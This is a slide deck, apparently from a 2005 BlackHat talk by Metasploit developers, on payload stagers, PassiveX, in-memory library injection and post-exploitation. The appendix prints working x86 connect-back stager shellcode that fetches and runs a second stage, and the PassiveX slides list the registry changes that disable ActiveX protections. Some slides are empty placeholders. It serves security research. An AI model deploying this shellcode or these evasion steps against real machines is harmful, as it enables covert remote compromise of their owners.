Beyond EIP

spoonm & skape

BlackHat, 2005

Part I

Introduction

Who are we?

- spoonm
  - Full-time student
  - Metasploit developer since late 2003
- skape
  - Lead software developer by day
  - Independent security researcher by night
  - Joined the Metasploit project in 2004

What will we discuss?

- Payload stagers
  - Windows Ordinal Stagers
  - PassiveX

What will we discuss?

- Payload stagers
  - Windows Ordinal Stagers
  - PassiveX
- Payload stages
  - Library Injection
  - The Meterpreter
  - DispatchNinja

What will we discuss?

- Payload stagers
  - Windows Ordinal Stagers
  - PassiveX
- Payload stages
  - Library Injection
  - The Meterpreter
  - DispatchNinja
- Post-exploitation suites
  - Very hot area of research for the Metasploit team
  - Suites built off of advanced payload research
  - Client-side APIs create uniform automation interfaces
  - Primary focus of Metasploit 3.0

Background: the exploitation cycle

- **Pre-exploitation** - Before the attack
  - Find a bug and isolate it
  - Write the exploit, payloads, and tools

Background: the exploitation cycle

- **Pre-exploitation** - Before the attack
  - Find a bug and isolate it
  - Write the exploit, payloads, and tools
- **Exploitation** - Leveraging the vulnerability
  - Find a vulnerable target
  - Gather information
  - Initialize tools and post-exploitation handlers
  - Launch the exploit

Background: the exploitation cycle

- **Pre-exploitation** - Before the attack
  - Find a bug and isolate it
  - Write the exploit, payloads, and tools
- **Exploitation** - Leveraging the vulnerability
  - Find a vulnerable target
  - Gather information
  - Initialize tools and post-exploitation handlers
  - Launch the exploit
- **Post-exploitation** - Manipulating the target
  - Command shell redirection
  - Arbitrary command execution
  - Pivoting
  - Advanced payload interaction

Part II

Exploitation Technology’s State of Affairs

Payload encoders

- Robust and elegant encoders do exist
  - SkyLined's Alpha2 x86 alphanumeric encoder
  - Spoonm's high-permutation Shikata Ga Nai

Payload encoders

- Robust and elegant encoders do exist
  - SkyLined's Alpha2 x86 alphanumeric encoder
  - Spoonm's high-permutation Shikata Ga Nai
- Payload encoders generally taken for granted
  - Most encoders use a static decoder stub
  - Makes NIDS signatures easy to write

NOP generators

- NOP generation hasn’t publicly changed much
  - Most PoC exploits use predictable single-byte NOPs (`0x90`), if any
  - ADMmutate’s NOP generator easily signatured by NIDS (Snort, Fnord)
  - Not considered an important research topic to most

NOP generators

- NOP generation hasn't publicly changed much
  - Most PoC exploits use predictable single-byte NOPs (`0x90`), if any
  - ADMmutate's NOP generator easily signatured by NIDS (Snort, Fnord)
  - Not considered an important research topic to most
- Still, NIDS continues to play chase the tail
  - The mouse always has the advantage; NIDS is reactive
  - Advanced NOP generators and encoders push NIDS to its limits
  - Many protocols can be complex to signature (DCERPC fragmentation)

NOP generators

- NOP generation hasn't publicly changed much
  - Most PoC exploits use predictable single-byte NOPs (`0x90`), if any
  - ADMmutate's NOP generator easily signatured by NIDS (Snort, Fnord)
  - Not considered an important research topic to most
- Still, NIDS continues to play chase the tail
  - The mouse always has the advantage; NIDS is reactive
  - Advanced NOP generators and encoders push NIDS to its limits
  - Many protocols can be complex to signature (DCERPC fragmentation)
- Metasploit 2.4 released with a wide-distribution multi-byte x86 NOP generator (Opty2)

Exploitation techniques

- Exploitation techniques have become very mature
  - Linux/BSD/Solaris techniques are largely unchanged
  - Windows heap overflows can be made more reliable (Oded/Shok)
  - Windows SEH overwrites make exploitation easy, even on XPSP2

Exploitation techniques

- Exploitation techniques have become very mature
  - Linux/BSD/Solaris techniques are largely unchanged
  - Windows heap overflows can be made more reliable (Oded/Shok)
  - Windows SEH overwrites make exploitation easy, even on XPSP2
- Exploitation vectors have been beaten to death

Exploitation techniques

- Exploitation techniques have become very mature
  - Linux/BSD/Solaris techniques are largely unchanged
  - Windows heap overflows can be made more reliable (Oded/Shok)
  - Windows SEH overwrites make exploitation easy, even on XPSP2
- Exploitation vectors have been beaten to death
- ...so we wont be talking about them

Standard payloads

- Standard payloads provide the most basic manipulation of a target
  - Port-bind command shell
  - Reverse (connectback) command shell
  - Arbitrary command execution

Standard payloads

- Standard payloads provide the most basic manipulation of a target
  - Port-bind command shell
  - Reverse (connectback) command shell
  - Arbitrary command execution
- Nearly all PoC exploits use standard payloads

Standard payloads

- Standard payloads provide the most basic manipulation of a target
  - Port-bind command shell
  - Reverse (connectback) command shell
  - Arbitrary command execution
- Nearly all PoC exploits use standard payloads
- Command shells have poor automation support
  - Platform dependent intrinsic commands and scripting
  - Reliant on the set of applications installed on the machine
  - Hindered by chroot jails and host-based ACLs

“Advantage” payloads

- Advantage payloads provide enhanced manipulation of hosts, commonly through the native API
- Help to reduce the tediousness of writing payloads
- Core ST’s InlineEgg

Part III

Payload Stagers

What are payload stagers?

- Payload stagers are small stubs that load and execute other payloads
- The payloads that are executed are known as stages
- Stages perform arbitrary tasks, such as spawning a shell

What are payload stagers?

- Payload stagers are small stubs that load and execute other payloads
- The payloads that are executed are known as stages
- Stages perform arbitrary tasks, such as spawning a shell
- Stagers are typically network based and follow three basic steps
  - Establish connection to attacker (reverse, portbind, findsock)
  - Read in a payload from the connection
  - Execute a payload with the connection in known a register

What are payload stagers?

- Payload stagers are small stubs that load and execute other payloads
- The payloads that are executed are known as stages
- Stages perform arbitrary tasks, such as spawning a shell
- Stagers are typically network based and follow three basic steps
  - Establish connection to attacker (reverse, portbind, findsock)
  - Read in a payload from the connection
  - Execute a payload with the connection in known a register
- The three steps make it so stages are connection method independent
  - No need to have command shell payloads for reverse, portbind, and findsock

Why are payload stagers useful?

- Some vulnerabilities have limited space for the initial payload

Why are payload stagers useful?

- Some vulnerabilities have limited space for the initial payload
- Typically much smaller than the stages they execute

Why are payload stagers useful?

- Some vulnerabilities have limited space for the initial payload
- Typically much smaller than the stages they execute
- Eliminate the need to re-implement payloads for each connection method

Why are payload stagers useful?

- Some vulnerabilities have limited space for the initial payload
- Typically much smaller than the stages they execute
- Eliminate the need to re-implement payloads for each connection method
- Provide an abstract way for getting arbitrary code onto a remote machine through any medium

Windows ordinal stagers

- Technique from Oded's lightning talk at core04
- Uses static ordinals in `WS2_32.DLL` to locate symbol addresses
- Compatible with all versions of Windows (including 9X)
- Results in very low-overhead symbol resolution
- Facilitates implementation of reverse, portbind, and findsock stagers
- Leads to very tiny win32 stagers (92 byte reverse, 93 byte findsock)
- Technical write-up at `http://www.metasploit.com/users/spoonm/ordinals.txt`

How ordinal stagers work

- Ordinals are unique numbers that identify exported symbols in PE files
- Each ordinal can be used to resolve the address of an exported symbol

How ordinal stagers work

- Ordinals are unique numbers that identify exported symbols in PE files
- Each ordinal can be used to resolve the address of an exported symbol
- Most of the time, ordinals are incremented linearly by the linker
- Sometimes, however, developers may wish to force symbols to use the same ordinal every build
- When ordinals are the same every build, they are referred to as static

How ordinal stagers work

- Ordinals are unique numbers that identify exported symbols in PE files
- Each ordinal can be used to resolve the address of an exported symbol
- Most of the time, ordinals are incremented linearly by the linker
- Sometimes, however, developers may wish to force symbols to use the same ordinal every build
- When ordinals are the same every build, they are referred to as static
- Using an image’s exports by ordinal instead of by name is more efficient at runtime
- However, it will not be reliably portable unless the ordinals are known-static

How ordinal stagers work

- Ordinals are unique numbers that identify exported symbols in PE files
- Each ordinal can be used to resolve the address of an exported symbol
- Most of the time, ordinals are incremented linearly by the linker
- Sometimes, however, developers may wish to force symbols to use the same ordinal every build
- When ordinals are the same every build, they are referred to as static
- Using an image's exports by ordinal instead of by name is more efficient at runtime
- However, it will not be reliably portable unless the ordinals are known-static
- Very few PE files use known-static ordinals, but `WS2_32.DLL` is one that does
  - 30 symbols use static ordinals in `WS2_32.DLL`

Implementing a reverse ordinal stager

- Locate the base address of `WS2_32.DLL`
  - Extract the Peb->Ldr pointer
  - Extract Flink from the InInitOrderModuleList
  - Loop through loaded modules comparing module names
  - Module name is stored in unicode, but can be partially translated to ANSI
  - Once `WS2_32.DLL` is found, extract its BaseAddress

Implementing a reverse ordinal stager

- Locate the base address of `WS2_32.DLL`
  - Extract the Peb->Ldr pointer
  - Extract Flink from the InInitOrderModuleList
  - Loop through loaded modules comparing module names
  - Module name is stored in unicode, but can be partially translated to ANSI
  - Once `WS2_32.DLL` is found, extract its BaseAddress
- Resolve `socket`, `connect`, and `recv`
  - Use static ordinals to index the Export Directory Address Table

Implementing a reverse ordinal stager

- Locate the base address of `WS2_32.DLL`
  - Extract the Peb->Ldr pointer
  - Extract Flink from the InInitOrderModuleList
  - Loop through loaded modules comparing module names
  - Module name is stored in unicode, but can be partially translated to ANSI
  - Once `WS2_32.DLL` is found, extract its BaseAddress
- Resolve `socket`, `connect`, and `recv`
  - Use static ordinals to index the Export Directory Address Table
- Allocate a socket, connect to the attacker, and read in the next payload

Implementing a reverse ordinal stager

- Locate the base address of `WS2_32.DLL`
  - Extract the Peb->Ldr pointer
  - Extract Flink from the InInitOrderModuleList
  - Loop through loaded modules comparing module names
  - Module name is stored in unicode, but can be partially translated to ANSI
  - Once `WS2_32.DLL` is found, extract its BaseAddress
- Resolve `socket`, `connect`, and `recv`
  - Use static ordinals to index the Export Directory Address Table
- Allocate a socket, connect to the attacker, and read in the next payload
- Requires that `WS2_32.DLL` already be loaded in the target process

PassiveX

- Robust payload stager capable of bypassing restrictive outbound filters
- Compatible with Windows 2000+ running Internet Explorer 6.0+
- Uses HTTP to communicate with attacker
- Provides an alternate vector for library injection via ActiveX
- Technical write-up at `http://www.uninformed.org/?v=1&a=3&t=sumry`

How PassiveX works

- Enables support for both signed and unsigned ActiveX controls in the `Internet` zone.

How PassiveX works

- Enables support for both signed and unsigned ActiveX controls in the `Internet` zone.
  - Necessary because administrators may have disabled ActiveX support for security reasons

How PassiveX works

- Enables support for both signed and unsigned ActiveX controls in the `Internet` zone.
  - Necessary because administrators may have disabled ActiveX support for security reasons
- Launches a hidden instance of Internet Explorer

How PassiveX works

- Enables support for both signed and unsigned ActiveX controls in the `Internet` zone.
  - Necessary because administrators may have disabled ActiveX support for security reasons
- Launches a hidden instance of Internet Explorer
- Internet Explorer loads a page that the attacker has put an embedded ActiveX control on

How PassiveX works

- Enables support for both signed and unsigned ActiveX controls in the `Internet` zone.
  - Necessary because administrators may have disabled ActiveX support for security reasons
- Launches a hidden instance of Internet Explorer
- Internet Explorer loads a page that the attacker has put an embedded ActiveX control on
- Internet Explorer loads and executes the ActiveX control

Why is PassiveX useful?

- Relatively small (roughly 400 byte) stager that does not directly interact with the network

Why is PassiveX useful?

- Relatively small (roughly 400 byte) stager that does not directly interact with the network
- Bypasses common outbound filters by tunneling through HTTP

Why is PassiveX useful?

- Relatively small (roughly 400 byte) stager that does not directly interact with the network
- Bypasses common outbound filters by tunneling through HTTP
- Automatically uses proxy settings defined in Internet Explorer

Why is PassiveX useful?

- Relatively small (roughly 400 byte) stager that does not directly interact with the network
- Bypasses common outbound filters by tunneling through HTTP
- Automatically uses proxy settings defined in Internet Explorer
- Bypasses trusted application restrictions (ZoneAlarm)

Why is PassiveX useful?

- Relatively small (roughly 400 byte) stager that does not directly interact with the network
- Bypasses common outbound filters by tunneling through HTTP
- Automatically uses proxy settings defined in Internet Explorer
- Bypasses trusted application restrictions (ZoneAlarm)
- ActiveX technology allows the attacker to implement complex code in higher level languages (C, C++, VB)
  - Eliminates the need to perform complicated tasks from assembly
  - ActiveX controls are functionally equivalent to executables

Implementing the PassiveX stager

- Enable download and execution of ActiveX controls
  - Open the current user's `Internet` zone registry key
  - Enable four settings
    - `Download signed ActiveX controls`
    - `Download unsigned ActiveX controls`
    - `Run ActiveX controls and plugins`
    - `Initialize and script ActiveX controls not marked as safe`

Implementing the PassiveX stager

- Enable download and execution of ActiveX controls
  - Open the current user's `Internet` zone registry key
  - Enable four settings
    - `Download signed ActiveX controls`
    - `Download unsigned ActiveX controls`
    - `Run ActiveX controls and plugins`
    - `Initialize and script ActiveX controls not marked as safe`
- Launch a hidden instance of Internet Explorer pointed at a URL the attacker controls

Implementing the PassiveX stager

- Enable download and execution of ActiveX controls
  - Open the current user's `Internet` zone registry key
  - Enable four settings
    - `Download signed ActiveX controls`
    - `Download unsigned ActiveX controls`
    - `Run ActiveX controls and plugins`
    - `Initialize and script ActiveX controls not marked as safe`
- Launch a hidden instance of Internet Explorer pointed at a URL the attacker controls
- Internet Explorer then loads and executes the attacker's ActiveX control

An example ActiveX control

- ActiveX controls may choose to build an HTTP tunnel to the attacker
- HTTP tunnels provide a streaming connection over HTTP requests and responses
- Useful for tunneling other protocols, like TCP, through HTTP

Pros & cons

- **Pros**
  - Bypasses restrictive outbound filters at both a network and application level

Pros & cons

- **Pros**
  - Bypasses restrictive outbound filters at both a network and application level
  - Provides a method for using complex code written in a high-level language

Pros & cons

- **Pros**
  - Bypasses restrictive outbound filters at both a network and application level
  - Provides a method for using complex code written in a high-level language
- **Cons**
  - Does not work when run as a non-privileged user
    - Internet Explorer refuses to download ActiveX controls

Pros & cons

- **Pros**
  - Bypasses restrictive outbound filters at both a network and application level
  - Provides a method for using complex code written in a high-level language
- **Cons**
  - Does not work when run as a non-privileged user
    - Internet Explorer refuses to download ActiveX controls
  - Requires the ActiveX control to restore `Internet` zone settings
    - May leave the machine vulnerable to compromise if not done

Part IV

Payload Stages

What are payload stages?

- Payload stages are executed by payload stagers and perform arbitrary tasks

What are payload stages?

- Payload stages are executed by payload stagers and perform arbitrary tasks
- Some examples of payload stages include
  - Execute a command shell and redirect IO to the attacker
  - Execute an arbitrary command
  - Download an executable from a URL and execute it

Why are payload stages useful?

- Can be executed independent of connection method (portbind, reverse)
  - All stagers store the connection file descriptor in a common register

Why are payload stages useful?

- Can be executed independent of connection method (portbind, reverse)
  - All stagers store the connection file descriptor in a common register
- Not subject to size limitations of individual vulnerabilities

The library injection stage

- Payload stage that provides a method of loading a library (DLL) into the exploited process

The library injection stage

- Payload stage that provides a method of loading a library (DLL) into the exploited process
- Libraries are functionally equivalent to executables
  - Full access to various OS-provided APIs
  - Can do anything an executable can do

The library injection stage

- Payload stage that provides a method of loading a library (DLL) into the exploited process
- Libraries are functionally equivalent to executables
  - Full access to various OS-provided APIs
  - Can do anything an executable can do
- Library injection is covert; no new processes need to be created

The library injection stage

- Payload stage that provides a method of loading a library (DLL) into the exploited process
- Libraries are functionally equivalent to executables
  - Full access to various OS-provided APIs
  - Can do anything an executable can do
- Library injection is covert; no new processes need to be created
- Technical write-up at `http://www.nologin.org/Downloads/Papers/remote-library-injection.pdf`

Types of library injection

- Three primary methods exist to inject a library
  1. **On-Disk**: loading a library from the target's harddrive or a file share
  2. **In-Memory**: loading a library entirely from memory
  3. **ActiveX**: loading a library through Internet Explorer's ActiveX support
- On-Disk and In-Memory techniques are conceptually portable to non-Windows platforms

On-Disk library injection

- Loading a library from disk has been the defacto standard for Windows payloads
- Loading a library from a file share first discussed by Brett Moore

On-Disk library injection

- Loading a library from disk has been the defacto standard for Windows payloads
- Loading a library from a file share first discussed by Brett Moore
- Subject to filtering by Antivirus due to filesystem access
- Requires that the library file exist on the target's harddrive or that the file share be reachable

In-Memory library injection

- First Windows implementation released with Metasploit 2.2

In-Memory library injection

- First Windows implementation released with Metasploit 2.2
- Libraries are loaded entirely from memory

In-Memory library injection

- First Windows implementation released with Metasploit 2.2
- Libraries are loaded entirely from memory
- No disk access means no Antivirus interference

In-Memory library injection

- First Windows implementation released with Metasploit 2.2
- Libraries are loaded entirely from memory
- No disk access means no Antivirus interference
- Most stealthy form of library injection thus far identified

Implementing In-Memory library injection on Windows

- Loading libraries from memory means tricking the native loader provided in `NTDLL.DLL`

Library injection in action: VNC

Overview

Design goals

Communication protocol specification

Client/Server architecture

Extension flexibilities

Meterpreter extensions in action: Stdapi

Cool dN stuff here

Part V

Post-Exploitation Suites

stuff

Part VI

Conclusion

Reference Material

Payload Stagers

- Windows Ordinal Stagers
  `http://www.metasploit.com/users/spoonm/ordinals.txt`
- PassiveX
  `http://www.uninformed.org/?v=1&a=3&t=sumry`

Payload Stages

- Library Injection
  `http://www.nologin.org/Downloads/Papers/remote-library-injection.pdf`

Part VII

Appendix

Part VIII

Appendix: Payload Stagers

Locating WS2_32.DLL's base address

```
FC          cld                     ; clear direction (lodsd)
31DB        xor ebx,ebx             ; zero ebx
648B4330    mov eax,[fs:ebx+0x30]   ; eax = PEB
8B400C      mov eax,[eax+0xc]       ; eax = PEB->Ldr
8B501C      mov edx,[eax+0x1c]      ; edx = Ldr->InitList.Flink
8B12        mov edx,[edx]           ; edx = LdrModule->Flink
8B7220      mov esi,[edx+0x20]      ; esi = LdrModule->DllName
AD          lodsd                   ; eax = [esi] ; esi += 4
AD          lodsd                   ; eax = [esi] ; esi += 4
4E          dec esi                 ; esi--
0306        add eax,[esi]           ; eax = eax + [esi]
                                    ; (4byte unicode->ANSI)
3D32335F32  cmp eax,0x325f3332      ; eax == 2_32?
75EF        jnz 0xd                 ; not equal, continue loop
```

Resolve symbols using static ordinals

```
8B6A08      mov ebp,[edx+0x8]      ; ebp = LdrModule->BaseAddr
8B453C      mov eax,[ebp+0x3c]     ; eax = DosHdr->e_lfanew
8B4C0578    mov ecx,[ebp+eax+0x78]; ecx = Export Directory
8B4C0D1C    mov ecx,[ebp+ecx+0x1c]; ecx = Address Table Rva
01E9        add ecx,ebp            ; ecx += ws2base
8B4158      mov eax,[ecx+0x58]     ; eax = socket rva
01E8        add eax,ebp            ; eax += ws2base
8B713C      mov esi,[ecx+0x3c]     ; esi = recv rva
01EE        add esi,ebp            ; esi += ws2base
03690C      add ebp,[ecx+0xc]      ; ebp += connect rva
```

Create the socket, connect back, recv, and jump

```
; Use chained call-stacks to save space
; connect returns to recv returns to buffer (fd in edi)
53          push ebx                ; push 0
6A01        push byte +0x1          ; push SOCK_STREAM
6A02        push byte +0x2          ; push AF_INET
FFD0        call eax                ; call socket
97          xchg eax,edi            ; edi = fd
687F000001  push dword 0x100007f    ; push sockaddr_in
68020010E1  push dword 0xe1100002
89E1        mov ecx,esp             ; ecx = &sockaddr_in
53          push ebx                ; push flags (0)
B70C        mov bh,0xc              ; ebx = 0x0c00
53          push ebx                ; push length (0xc00)
51          push ecx                ; push buffer
57          push edi                ; push fd
51          push ecx                ; push buffer
6A10        push byte +0x10         ; push addrlen (16)
51          push ecx                ; push &sockaddr_in
57          push edi                ; push fd
56          push esi                ; push recv
FFE5        jmp ebp                 ; call connect
```